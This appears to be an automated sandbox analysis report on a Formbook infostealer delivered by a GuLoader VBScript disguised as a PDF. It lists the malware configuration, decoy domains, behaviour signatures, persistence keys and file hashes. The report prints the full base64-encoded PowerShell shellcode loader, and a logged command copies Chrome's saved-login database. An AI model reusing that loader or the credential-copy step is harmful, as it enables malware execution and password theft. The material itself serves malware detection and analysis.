formbook | 354529cf4cd5498c64a0c69c6dd9eb8962250542eea7f89a76faf64f5086da35

Analysis

max time kernel
151s
max time network
154s
platform
windows10_x64
resource
win10-en-20211208
submitted
21-01-2022 14:24

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Report Analysis Logs

General

Target

Wire-84844663637346665.PDF.vbs
Size

75KB
MD5

2eb1625e8d4e3f9b19ab947d188d0be8
SHA1

7aad4e8d8f521d1c36a7468418047c8a5751b7e9
SHA256

354529cf4cd5498c64a0c69c6dd9eb8962250542eea7f89a76faf64f5086da35
SHA512

7e2f8553d3375d1cfe0132a3abe854a1457f08c1f3c6bfbe730c044fec1a127f3a9405c59b1f620f91ea76b7eb7d68fce78058b68f4a69437d2e08b0879ad517

Score

10^/10

formbook guloader ty13 downloader persistence rat spyware stealer suricata trojan

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

ty13

Decoy

renatocarrion.com

inadmaa.email

dgsgamer.com

scentsofhome.com

vimeghbrandshop.online

seaxneat.com

10448se147thave.com

msewy.xyz

greekgolden.com

thinktosolve.com

darmadao.com

patriotproperties.info

erwsed.tech

iamanocelot.com

marketinginspiration4.biz

googleprog.com

nz34.com

xu6cotckdwbd.xyz

jimmychenchen.com

kntfashionstore.online

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata

Formbook Payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/2940-165-0x0000000000400000-0x00000000006A3000-memory.dmp	formbook
behavioral2/memory/2940-166-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral2/memory/1836-171-0x0000000000630000-0x000000000065F000-memory.dmp	formbook

Adds policy Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

wscript.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-2361464256-2201551969-2316606395-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	wscript.exe

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.exeieinstal.exe

description	ioc	process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	ieinstal.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

wscript.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-2361464256-2201551969-2316606395-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows\CurrentVersion\Run\8PADWTBP = "C:\\Program Files (x86)\\internet explorer\\ieinstal.exe"	wscript.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

ieinstal.exe

pid process

2940 ieinstal.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exeieinstal.exe

pid process

2452 powershell.exe
2940 ieinstal.exe

pid	process
2940	ieinstal.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exeieinstal.exewscript.exe

description	pid	process	target process
PID 2452 set thread context of 2940	2452	powershell.exe	ieinstal.exe
PID 2940 set thread context of 2760	2940	ieinstal.exe	Explorer.EXE
PID 1836 set thread context of 2760	1836	wscript.exe	Explorer.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

wscript.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-2361464256-2201551969-2316606395-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	wscript.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

Processes:

powershell.exeieinstal.exewscript.exe

pid	process
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
2940	ieinstal.exe
2940	ieinstal.exe
2940	ieinstal.exe
2940	ieinstal.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe
1836	wscript.exe

Suspicious behavior: MapViewOfSection 8 IoCs

Processes:

powershell.exeieinstal.exewscript.exe

pid process

2452 powershell.exe
2940 ieinstal.exe
2940 ieinstal.exe
2940 ieinstal.exe
1836 wscript.exe
1836 wscript.exe
1836 wscript.exe
1836 wscript.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

powershell.exeieinstal.exeExplorer.EXEwscript.exe

description	pid	process
Token: SeDebugPrivilege	2452	powershell.exe
Token: SeDebugPrivilege	2940	ieinstal.exe
Token: SeShutdownPrivilege	2760	Explorer.EXE
Token: SeCreatePagefilePrivilege	2760	Explorer.EXE
Token: SeDebugPrivilege	1836	wscript.exe
Token: SeShutdownPrivilege	2760	Explorer.EXE
Token: SeCreatePagefilePrivilege	2760	Explorer.EXE
Token: SeShutdownPrivilege	2760	Explorer.EXE
Token: SeCreatePagefilePrivilege	2760	Explorer.EXE

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

WScript.exepowershell.execsc.exeExplorer.EXEwscript.exe

description	pid	process	target process
PID 3264 wrote to memory of 2452	3264	WScript.exe	powershell.exe
PID 3264 wrote to memory of 2452	3264	WScript.exe	powershell.exe
PID 3264 wrote to memory of 2452	3264	WScript.exe	powershell.exe
PID 2452 wrote to memory of 868	2452	powershell.exe	csc.exe
PID 2452 wrote to memory of 868	2452	powershell.exe	csc.exe
PID 2452 wrote to memory of 868	2452	powershell.exe	csc.exe
PID 868 wrote to memory of 1992	868	csc.exe	cvtres.exe
PID 868 wrote to memory of 1992	868	csc.exe	cvtres.exe
PID 868 wrote to memory of 1992	868	csc.exe	cvtres.exe
PID 2452 wrote to memory of 2940	2452	powershell.exe	ieinstal.exe
PID 2452 wrote to memory of 2940	2452	powershell.exe	ieinstal.exe
PID 2452 wrote to memory of 2940	2452	powershell.exe	ieinstal.exe
PID 2452 wrote to memory of 2940	2452	powershell.exe	ieinstal.exe
PID 2760 wrote to memory of 1836	2760	Explorer.EXE	wscript.exe
PID 2760 wrote to memory of 1836	2760	Explorer.EXE	wscript.exe
PID 2760 wrote to memory of 1836	2760	Explorer.EXE	wscript.exe
PID 1836 wrote to memory of 2408	1836	wscript.exe	cmd.exe
PID 1836 wrote to memory of 2408	1836	wscript.exe	cmd.exe
PID 1836 wrote to memory of 2408	1836	wscript.exe	cmd.exe
PID 1836 wrote to memory of 3088	1836	wscript.exe	Firefox.exe
PID 1836 wrote to memory of 3088	1836	wscript.exe	Firefox.exe
PID 1836 wrote to memory of 3088	1836	wscript.exe	Firefox.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2760

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Wire-84844663637346665.PDF.vbs"
2⤵
- Suspicious use of WriteProcessMemory
PID:3264

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBCAGEAYwBvAG4AZwAgAFMAbABlAHQAbgAgAEYARQBKAEwAUABMAEEAIABWAGkAbgBkAGYAbAA0ACAAZgBhAHIAYQAgAGEAcgB0AGUAcgAgAE8AdgBlAHIAYQByAG8AIABDAEkATgBFAE4ARQBHACAARABkAHMAbwBmAHIAZQByADEAIABCAFIASQBUAFQATABFAFAAQQAgAFMAZQBtAGkAYwBvAHIAbwBuACAAQgB1AG4AZABkAHkAcgBlADEAIABVAE4ATQBBAE4AQQBHACAAUgBJAEMATwBDAEgARQBUACAAaABlAG4AcgBlAGcAbgAgAEkAbgBkAGQAZQBsAGkAbgBnAGUAMQAgAFIATwBUAEEAVABJACAATwB2AGUAcgBmAG8AZAByAGUAcwAxACAAUQBVAEkARQBUACAAYQByAGEAYgBhAG4AIABJAE4ARABEACAAdQBiAGUAdABpAG0AZQAgAGEAawB0AGkAdgBpAHMAdAAgAHAAZQByAHQAdQByAGIAZgAgAEoAQQBHAEUAUgBFAE4AIABLAEkATABPAE0ARQBHAEEAIABBAGMAaABvAG4AZAByACAAQgBuAG4AZQAgAEMAbwBuAGcAcgBlAGcAMwAgAEIAUgBBAE4ARABFAE4AIABJAG4AZwBlAG4AaQByAHQAMgAgAFIAZQB2AG8AIABTAGMAaQByACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABIAGEAbgBkAGwAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAEgAYQBuAGQAbAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABOAE8ATgBNAEEATABJAEcALABpAG4AdAAgAG0AZQB0AGEAdABlAGcAbgAsAHIAZQBmACAASQBuAHQAMwAyACAASABhAG4AZABsACwAaQBuAHQAIABCAG8AcgBkAHMAawA2ACwAaQBuAHQAIABIAGEAbgBkAGwANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABEAEEAVQBHAEgAVABFAFIALAB1AGkAbgB0ACAAVABhAG4AegBhAG4AaQA1ACwAaQBuAHQAIABoAGEAYQBuACwAaQBuAHQAIABIAGEAbgBkAGwAMAAsAGkAbgB0ACAARgBhAGwAbABhAGMAaQBlAHMANQAsAGkAbgB0ACAAQgBHAEUAUgAsAGkAbgB0ACAAUQB1AGkAbgBxAHUAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAG0AZQB0AGEAdABlAGcAbgAwACwAdQBpAG4AdAAgAG0AZQB0AGEAdABlAGcAbgAxACwASQBuAHQAUAB0AHIAIABtAGUAdABhAHQAZQBnAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAAbQBlAHQAYQB0AGUAZwBuADMALABpAG4AdAAgAG0AZQB0AGEAdABlAGcAbgA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBXACgASQBuAHQAUAB0AHIAIABtAGUAdABhAHQAZQBnAG4ANQAsAGkAbgB0ACAAbQBlAHQAYQB0AGUAZwBuADYALABpAG4AdAAgAG0AZQB0AGEAdABlAGcAbgA3ACwAaQBuAHQAIABtAGUAdABhAHQAZQBnAG4AOAAsAGkAbgB0ACAAbQBlAHQAYQB0AGUAZwBuADkAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMAVgBlAGoAcgBmAG8AOQAgAGMAbABvAGMAawByAGEAIABMAEkATQBCACAATwB2AGUAcgBtADYAIABIAHkAcABlAHIAIABEAGkAcwBkAGEAaQBuACAAbgBvAG4AYwBvAG4AIAB0AG8AbABkAGEAdAB0AGUAcwAgAFMAdQBsAGMAYQAgAE8AcAByAGUAdABoAG8AbAAgAGgAbwBsAG8AYwBoAG8AcgBkAGEAIABLAG8AbgB0AHIAbwBsAGsAbwBtACAARgBpAGwAdABlAHIAIABCAGUAcgBnAG0AYQBuAG4AcwAgAEMATwBFAE4AVQBSAEkAIABEAEEARwBOACAAVQBEAFIASwBTAFMAVABSAEEAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAGIAbABhAGEAbAB5AHMAZQBuAGUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASwB1AGcAbABlAHAAZQAxACIAIAANAAoAJABIAGEAbgBkAGwAMwA9ADAAOwANAAoAJABIAGEAbgBkAGwAOQA9ADEAMAA0ADgANQA3ADYAOwANAAoAJABIAGEAbgBkAGwAOAA9AFsASABhAG4AZABsADEAXQA6ADoATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgALQAxACwAWwByAGUAZgBdACQASABhAG4AZABsADMALAAwACwAWwByAGUAZgBdACQASABhAG4AZABsADkALAAxADIAMgA4ADgALAA2ADQAKQANAAoAIwBEAEUARgBJACAATgBvAG4AdAAyACAAbgBvAG4AYwBvAG4AcwB0ACAAbwB2AGUAcgB0AGUAbgBhAGMAIABpAGcAZAByAGEAcwBpAGwAbQBhACAAbABhAGEAbgB0AGEAZwBlAHIAZQAgAEEATQBQAEgATwBEAEEAIABHAEEATABFAEgAVQBTAFMASABBACAAUAByAGkAbQBvAHIAZABpAGEAaQAgAEEAdQB0AGUAbgB0ADUAIABWAGkAcwBjADcAIABDAG8AbAB1AG0AbgBpAHMAdABzACAAZgBvAHIAYgB5AHQAIABzAHAAcgByACAAUAB5AHIAZQB4AGkAYQAgAGIAbABhAHQAdABpAGYAIABrAHkAbABsAGkAbgBnAGUAaAAgAEwASQBWAEYAVQBMAEQAVABWACAAcwBoAGEAdAB0AGUAcgBpACAATQBBAEEATABTAFQATgBJAE4AIABTAGUAbQBpAHIAYQBkADUAIABGAG8AcgBzADUAIABJAE0ATQBJAFQASQBHAEEAQgBJACAASwBBAFAAQQBDACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBGAEUATQBIAFUATgAiACAADQAKACQASABhAG4AZABsADIAPQAiACQAZQBuAHYAOgB0AGUAbQBwACIAIAArACAAIgBcAG0AeQBzAHQAZQAuAGQAYQB0ACIADQAKACMAUwB2AGkAbgBrAGUAcgBlAG4AZAAgAGQAdQBjAGgAZQBzACAAQgBqAGUAcgBnAG0AIABzAG8AYwBpAGEAbABkAGUAbQAgAEIAZQBsAG8AcwB0AG8AbQAgAEMAbwBoAG8AYgA1ACAAQQBSAEkAVABIAE0AIABQAG8AbAB5AGcAeQBuAGkAcwA3ACAAdAByAGEAbgBzAG0AaQBzAHMAaQAgAA0ACgAkAEgAYQBuAGQAbAA0AD0AWwBIAGEAbgBkAGwAMQBdADoAOgBDAHIAZQBhAHQAZQBGAGkAbABlAEEAKAAkAEgAYQBuAGQAbAAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAGQAZQByAGkAdgBlAHIAZQBuAGQAIABoAGUAYQB1AG0AZQBzAHIAYQB2ACAAYgB2AGUAcwB1ACAARgBBAEwARABFACAAUwBFAFIAVgBJAEMARQBLACAAVABSAEkARwBFACAARwBsAGEAbQBtAGUAbgAgAG0AZQBsAGkAbwBsAGEAdABpAGwAIABBAEsASwBPACAAQgBVAFAASAAgAFQAYQB4AGEAawByAHMAbABlACAARABpAHMAYwBvAHUAcgAxACAAVABhAGsAawBlAGsAOQAgAFQAUgBFAEUATABJAE4AIABCAEEARABMACAAZABlAGIAYQByAGsAZQAgAGsAZQBuAHQAbAAgAFMAcABhAG4AZABlACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgB0AGkAbAByAGEAYQAiACAADQAKACQASABhAG4AZABsADUAPQAwADsADQAKACMAQQBuAGEAbAB5AHMAZQB2AHIAIABKAEUAUgBTAEUAWQBLACAAdQBkAGIAZQBkAHIAZQBjACAAYgBpAHIAawBlACAAdgBhAG4AZAB0AHQAdQBrAHIAIABKAGUAbgBvAHAAOAAgAFAAZQByAGkAbgAxACAAdgBhAGEAYgBlAG4AYgByAHUAZwAgAEwAaQBjAGUAcABpADYAIABQAGEAdAByADQAIABoAHkAcABuAG8AdABpACAAQQBpAGwAcwB5AHQANAAgAFUAbgBuAGEAdQBzAGUAYQA0ACAARABlAHMAcABlADgAIABTAEkATgBVAE8AVQAgAEsAbwBuAGMAZQBuAHQAcgBhAHQANQAgAEcARQBOAEQAUgBJAFYAIABCAE8AUgBUAEYAIABBAG4AYQBiAG8AbgBnAHYANAAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAcwBpAG4AZwBsAGUAcABsAGEAIgAgAA0ACgBbAEgAYQBuAGQAbAAxAF0AOgA6AFIAZQBhAGQARgBpAGwAZQAoACQASABhAG4AZABsADQALAAkAEgAYQBuAGQAbAAzACwAMgA2ADAAMgA2ACwAWwByAGUAZgBdACQASABhAG4AZABsADUALAAwACkADQAKACMAZAByAGEAbgBrAGUAcgBlAHMAZwAgAEQAaQBwAGgANQAgAHMAdQB0AHMAawBvAGUAbgAgAFIATwBQAEUAVABSAEkAQwBLACAAUwB0AGoAZQByAG4AZQBzADYAIABSAGEAbABsADgAIABGAGkAZgBmACAARAB1AG4AZAAgAG0AYgBlAGwAZgBhAGIAcgBpACAASABhAHUAbQBwAG8AdABhAG0AIABhAG0AbQBvACAAVQBNAEIARQBMAEwAVQBMAEEAIABTAHAAYQBsAGkAcgBjAGgAcgBpACAAVABoAHIAZQBlAGYAYQA1ACAARwBvAGEAZABzAHQAZQByAGIANAAgAEkAbgBlAHgAcAB1AG4AZwBlADgAIABDAGEAcgBuAGkAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFMAQQBOAEkATwBVAFMAUgBBACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEQAZQBhAHMAYQBmAHIAdQA1ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEQARQBNAEkATABJAEMASABSAEUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASwBJAEwATwBUAE8ATgBOAEUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASwBJAFIASwBFACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEEAZgBmAG8AdAAzACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFIAZQBkAGkAdgBpAHMAaQBvACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHUAawByAGkAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASwBWAEEAUgBUAFMAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAaQBuAHQAdwBpAG4AZQBkAHUAbgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBQAE8ATQBBAEQASQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBWAGkAYwBlAGcAcgBlAHYAZQByACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHEAYQBmAHQAbwBwAGwAaQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBVAG4AcgBlAGEAbABuAGUAOQAiACAADQAKAFsASABhAG4AZABsADEAXQA6ADoAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKAAkAEgAYQBuAGQAbAAzACwAIAAwACwAMAAsADAALAAwACkADQAKAA0ACgA="
3⤵
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2452

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cigu2pxb\cigu2pxb.cmdline"
4⤵
- Suspicious use of WriteProcessMemory
PID:868

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB264.tmp" "c:\Users\Admin\AppData\Local\Temp\cigu2pxb\CSCE150491F690E481894F092E6B463AE58.TMP"
5⤵
PID:1992

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe"
4⤵
- Checks QEMU agent file
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:2940

C:\Windows\SysWOW64\wscript.exe
"C:\Windows\SysWOW64\wscript.exe"
2⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1836

C:\Windows\SysWOW64\cmd.exe
/c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V
3⤵
PID:2408

C:\Program Files\Mozilla Firefox\Firefox.exe
"C:\Program Files\Mozilla Firefox\Firefox.exe"
3⤵
PID:3088

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\DB1
MD5
b608d407fc15adea97c26936bc6f03f6

SHA1
953e7420801c76393902c0d6bb56148947e41571

SHA256
b281ce54125d4250a80f48fcc02a8eea53f2c35c3b726e2512c3d493da0013bf

SHA512
cc96ddf4bf90d6aaa9d86803cb2aa30cd8e9b295aee1bd5544b88aeab63dc60bb1d4641e846c9771bab51aabbfbcd984c6d3ee83b96f5b65d09c0841d464b9e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESB264.tmp
MD5
69b13288c6a61f9b2b57e030c3ee2b22

SHA1
8d057ba2ff3d2b7b1b87febe6a4cf2c1bbb36d8a

SHA256
4b82557078c23c1be2c38e1082a94ffc64fa1e6fe91d3472bd56c2af7c919d14

SHA512
d37c571a9e6d11e1f07052825598a7f883e24487cbfeff9cbb1f22c75357b80e1015a0362a636dd6e9f7d8a5f27081f91b21703326d8c54d2d7fcb07e09417c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\cigu2pxb\cigu2pxb.dll
MD5
6c385298f7ddc42b89620188c3727e12

SHA1
586afc7f3b43c275e550750a066e1781bd81ed4e

SHA256
c92cf4945a8739c7c4990303b019a7c8ec4db19ef07b675b346f206a636fa8b6

SHA512
916e0d01ce145b0a23bd9d7d5d13fda4309e9a5efbd0f891af7c1a6eee942bbab4e71cece4e6501a884572d6bdea7bdf26308a1c04f0a43eefed9a828295c43d

Download Submit
C:\Users\Admin\AppData\Local\Temp\myste.dat
MD5
b7a51df9fa975379cd0c8ebb06e4c9aa

SHA1
fd88dbf8ad8d28befa9ea1da48cfaff719867321

SHA256
4e24caf3042584cce2d363784f2f5353b57a86b3a482d8924ae25daba212502c

SHA512
0ae3237b03cddd4a8b992f563ec22f7e00847488744ccefaf52554162b1c8bb691a4ad68de7868ef05b09d57a570ef1d33940a5b8ccd6b0680979208f13e5d94

Download Submit
C:\Users\Admin\AppData\Roaming\O9P-4O7E\O9Plogim.jpeg
MD5
8d8f25de5ba0c8a5f677b4cd78839997

SHA1
8155de07f0bd9626ea15869a27200509a6180e48

SHA256
f2159aaf9d31ea581c01bcf8387d50a155c2e8ff3ee3cd8b228265ce77c95022

SHA512
bce52570e3b80ec8fc919a93af9b7ed215e9dccfc5a3d08e722a7057d8cc5c4dae7d827aa8c1e7c3a8fdfaf97b9f1984343b58bff8f3168b22ffcd3c00704547

Download Submit
C:\Users\Admin\AppData\Roaming\O9P-4O7E\O9Plogrf.ini
MD5
2f245469795b865bdd1b956c23d7893d

SHA1
6ad80b974d3808f5a20ea1e766c7d2f88b9e5895

SHA256
1662d01a2d47b875a34fc7a8cd92e78cb2ba7f34023c7fd2639cbb10b8d94361

SHA512
909f189846a5d2db208a5eb2e7cb3042c0f164caf437e2b1b6de608c0a70e4f3510b81b85753dbeec1e211e6a83e6ea8c96aff896e9b6e8ed42014473a54dc4f

Download Submit
C:\Users\Admin\AppData\Roaming\O9P-4O7E\O9Plogrg.ini
MD5
4aadf49fed30e4c9b3fe4a3dd6445ebe

SHA1
1e332822167c6f351b99615eada2c30a538ff037

SHA256
75034beb7bded9aeab5748f4592b9e1419256caec474065d43e531ec5cc21c56

SHA512
eb5b3908d5e7b43ba02165e092f05578f45f15a148b4c3769036aa542c23a0f7cd2bc2770cf4119a7e437de3f681d9e398511f69f66824c516d9b451bb95f945

Download Submit
C:\Users\Admin\AppData\Roaming\O9P-4O7E\O9Plogri.ini
MD5
d63a82e5d81e02e399090af26db0b9cb

SHA1
91d0014c8f54743bba141fd60c9d963f869d76c9

SHA256
eaece2eba6310253249603033c744dd5914089b0bb26bde6685ec9813611baae

SHA512
38afb05016d8f3c69d246321573997aaac8a51c34e61749a02bf5e8b2b56b94d9544d65801511044e1495906a86dc2100f2e20ff4fcbed09e01904cc780fdbad

Download Submit
C:\Users\Admin\AppData\Roaming\O9P-4O7E\O9Plogrv.ini
MD5
bbc41c78bae6c71e63cb544a6a284d94

SHA1
33f2c1d9fa0e9c99b80bc2500621e95af38b1f9a

SHA256
ee83c6bcea9353c74bfc0a7e739f3c4a765ace894470e09cdcdebba700b8d4cb

SHA512
0aea424b57adae3e14ad6491cab585f554b4dffe601b5a17bad6ee6177d2f0f995e419cde576e2d1782b9bddc0661aada11a2c9f1454ae625d9e3223635ec9f4

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\cigu2pxb\CSCE150491F690E481894F092E6B463AE58.TMP
MD5
7597c4e7f08bd8c1025d9cc41ba4b770

SHA1
fc92e930d8009030da31c2cc00ca10c4764b705d

SHA256
a8cb2cee8931e3bd4787a3438fdf3a6ed036edc5ef567456ba048e10fbd45425

SHA512
bfe6be2d87f08967acc98969227423473edb2c87d416a22777bac84230a5ce1d559e434a744184371e9e66fb7433116dbccd19932535405ac3a884a4cdb532bc

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\cigu2pxb\cigu2pxb.0.cs
MD5
56063e7808df0479a9609de80e1b9f58

SHA1
e91b058ef18df8bf200d09718c2f94652320be9a

SHA256
a5410108ea6f6870414f8e11d765587b22d75d20f0806e0113c1e1ce0d01fe28

SHA512
dae399a0fce1282ad28984466b7724c1cafa0dc7fee7c3bbd6d15f9c519e811021eec579e83cf7af35556322999ed67ada8baa03b0cad09d5e0faa1bc52207b8

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\cigu2pxb\cigu2pxb.cmdline
MD5
b662d3c623908e0c8a091f09b0c8239f

SHA1
313dcefab622c1c8b9482ba9811afb0e1a7bddf3

SHA256
7831f763493e9bd1cedd1b84fa4915806f4cda45237e27c54709b3d965280e3a

SHA512
b5d0a9085ee56ef2359dd333958b76ad2b3d2fc96fcc4baaecc6fde0cc40e07bb9d8b5cd4d32c9655391f7ef4b73a90e9f2cd5d1e4a31dde0e1f09db3c15afa6

Download Submit
memory/1836-174-0x0000000004610000-0x00000000047AC000-memory.dmp

Filesize
1.6MB

Download
memory/1836-172-0x0000000004950000-0x0000000004C70000-memory.dmp

Filesize
3.1MB

Download
memory/1836-171-0x0000000000630000-0x000000000065F000-memory.dmp

Filesize
188KB

Download
memory/1836-170-0x00000000011E0000-0x0000000001207000-memory.dmp

Filesize
156KB

Download
memory/2452-152-0x0000000009B70000-0x000000000A1E8000-memory.dmp

Filesize
6.5MB

Download
memory/2452-124-0x0000000008350000-0x00000000086A0000-memory.dmp

Filesize
3.3MB

Download
memory/2452-141-0x00000000086E0000-0x00000000086E8000-memory.dmp

